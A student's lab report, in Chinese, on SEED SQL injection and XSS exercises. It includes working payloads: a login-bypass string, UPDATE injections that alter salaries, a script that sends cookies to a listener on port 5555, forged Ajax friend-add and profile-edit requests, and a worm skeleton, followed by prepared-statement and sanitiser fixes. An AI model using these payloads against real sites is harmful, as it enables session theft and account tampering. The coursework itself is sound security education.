20212912 2021-2022-2 《网络攻防实践》第十次作业
1.实践内容
1.1数据库
数据库是存放数据的仓库。它的存储空间很大,可以存放百万条、千万条、上亿条数据。但是数据库并不是随意地将数据进行存放,是有一定的规则的,否则查询的效率会很低。当今世界是一个充满着数据的互联网世界,充斥着大量的数据。即这个互联网世界就是数据世界。数据的来源有很多,比如出行记录、消费记录、浏览的网页、发送的消息等等。除了文本类型的数据,图像、音乐、声音都是数据。数据库是一个按数据结构来存储和管理数据的计算机软件系统。数据库的概念实际包括两层意思:(1)数据库是一个实体,它是能够合理保管数据的"仓库",用户在该"仓库"中存放要管理的事务数据,"数据"和"库"两个概念结合成为数据库。(2)数据库是数据管理的新方法和技术,它能更合适的组织数据、更方便的维护数据、更严密的控制数据和更有效的利用数据。数据库作为最重要的基础软件,是确保计算机系统稳定运行的基石。
1.2 SQL
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。结构化查询语言是高级的非过程化编程语言,允许用户在高层数据结构上工作。它不要求用户指定对数据的存放方法,也不需要用户了解具体的数据存放方式,所以具有完全不同底层结构的不同数据库系统, 可以使用相同的结构化查询语言作为数据输入与管理的接口。结构化查询语言语句可以嵌套,这使它具有极大的灵活性和强大的功能。SQL具有数据定义、数据操纵、和数据控制的功能。1、SQL数据定义功能:能够定义数据库的三级模式结构,即外模式、全局模式和内模式结构。在SQL中,外模式又叫做视图(View),全局模式简称模式(Schema),内模式由系统根据数据库模式自动实现,一般无需用户过问。2、SQL数据操纵功能:包括对基本表和视图的数据插入、删除和修改,特别是具有很强的数据查询功能。3、SQL的数据控制功能:主要是对用户的访问权限加以控制,以保证系统的安全性。
1.3 SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。
1.4 XSS
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。攻击者可以使用户在浏览器中执行其预定义的恶意脚本,其导致的危害可想而知,如劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫,甚至破坏网站、修改路由器配置信息等。
2.实践过程
2.1 SQL 注入实验
1、熟悉SQL命令
(1)首先登录 MySQL 数据库, mysql -u root -pseedubuntu
(2)使用系统创建好的 Users 数据库, use Users;
(3)查看该数据库下所有的表, show tables;
(4)可以看到该数据库存在一个名为"credential"的表,查看这个表的详细信息
select * from credential;
2、对 SELECT 语句的 SQL 注入攻击
(1)使用 SEED 访问已经搭建好的 Web 页面: www.SEEDLabSQLInjection.com
(2)使用快捷键ctrl+U查看该页面源码,用户点击提交后,表单将用户输入的信息使用get方法提交至unsafe_home.php页面进行权限校验
(3)通过 vim /var/www/SQLInjection/unsafe_home.php ,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞
利用注释特性,当变量$input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='$hashed_pwd'实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:
发现成功登录,可以看见使用者的生日、薪酬等信息
3、对 UPDATE 语句的 SQL 注入攻击
(1)首先利用前面的漏洞,用Alice' #登录,可以看到对应的信息
(2)然后点击页面上方的Edit Profile进入更新信息页面
(3)在unsafe_edit_backend.php中找到 SQL 语句,vim /var/www/SQLInjection/unsafe_edit_backend.php,发现不能对个人工资进行更新修改,同时由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName
首先我们的任务是修改Alice的工资。 在NickName那里输入语句 ', salary='500000' where EID='10000';# 这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,所以直接修改了工资。这个时候回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。
下面的任务是修改其他人的工资。那么我们只要在Alice修改的界面的nickname输入', salary='1' where name='Boby';#
再进入Boby的界面,我们发现工资已经成功修改。这个原理和上面相同。
4. SQL对抗,修复上述SQL注入攻击漏洞
SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
首先在unsafe_home.php页面中,对SELECT语句进行预处理
原来的语句:
$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= '$input_uname' and Password='$hashed_pwd'";
使用绑定参数的方法,修改为
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
然后在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。
原来的语句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改为
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
修复后发现原来的攻击已经失效
2.2跨站脚本攻击实验
1.发布恶意消息
首先利用alice的账户alice和密码seedalice登录Elgg
点击Edit profile,接着在下面的Brief description文本框输入以下语句:<script>alert('xss');</script>,点击Save保存,页面弹出如下的提示框,点击Save保存
进入Boby账户登录之后,我们查看Alice的profile,确实弹出了XSS弹窗。可见我们攻击成功。主要原因是因为没有对字段进行安全检查和过滤,便直接插入数据表。显示内容的时候,也是直接读取显示,没有经过输出过滤。
2.弹窗显示cookie信息
将插入的js代码改成<script>alert('XSS');</script>即可,然后用Boby查看Alice的profile
从Boby的页面弹进入Alice的页面时弹出提示框,并且显示当前的 cookie 信息
3.窃取受害者的cookies
可以通过使恶意的JavaScript插入一个<img>标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
使用命令<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>,所以这里使用的是本地作为攻击者的服务器。
然后使用nc进行监听5555端口,使用指令nc -l 5555 -v,-l指定端口,-v显示详细信息。使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。
4.成为受害者的朋友
(1)登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友
(2)可以看到此时浏览器发送的 POST 请求的地址http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652731529&__elgg_token=3R--Qcrz_7uJaAQ2DswcSQ
(3)可以构造下面的脚本,用于添加其他好友
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//发送 Ajax 请求
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>
(4)将脚本放在 Alice 的About me文本框
(5)登录 Boby 访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,返回 Boby 主页,看到已经成功添加 Alice 为好友
5.修改受害者的信息
首先看看修改资料时要做那些事情。同样的,我们可以看到用户在修改自己的profile时发送的http请求的具体格式。在进入Edit profile页面后,点击Save后,可以看到具体的 Network 请求信息
下面这段程序就是构造的js程序了,主题部分在于构造那个content,其中的几个字段都是profile中的内容,需要修改什么直接修改就好。同时需要指定sendurl。这些内容都是从HTTP Header中得到的,然后ajax执行。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
将上述代码同样放在Alice的about me中,然后用boby访问Alice的profile,即可成功修改boby的profile。
6.编写XSS蠕虫
首先编写代码,目的就是这段代码能够复制到其他用户那里,那么蠕虫目标就是完成了的,所以使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。。我们将下面的程序放在Alice的about me中。
<script id="worm" type ="text/javascript">
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
我们通过boby访问Alice的profile发现这段代码已经被成功的复制,说明我们的目标达到,利用DOM API成功的进行了蠕虫的复制。
7.对抗XSS攻击
Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
下面我们查看Alice的profile,看看有没有效果了。可以看到,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了。
3.学习中遇到的问题及解决
1. SQL命令不成功
输SQL语句的时候,末尾要加上分号,否则命令有时候会失败。
2.XSS攻击不成功
在文本框中输入xss攻击语句时,要把文本框切换成HTML格式,如果用默认的带格式的文本,则攻击不会生效。
3.用户名和口令
列出了本实验中用得到的用户名和口令。
4.实践总结
通过本次实验,我复习回顾了数据库和SQL语句的基本知识,动手实践了对SELECT语句和UPDATE语句的SQL注入攻击,知道了如何对SQL注入漏洞进行防护。通过做跨站脚本攻击实验,我进一步理解了XSS的基本原理,成功实现了盗取cookie以及用户之间传播XSS蠕虫。本次的两个实验让我见识到了web渗透的强大,在今后的开发和使用web应用的过程中,要有对web漏洞的防护的意识。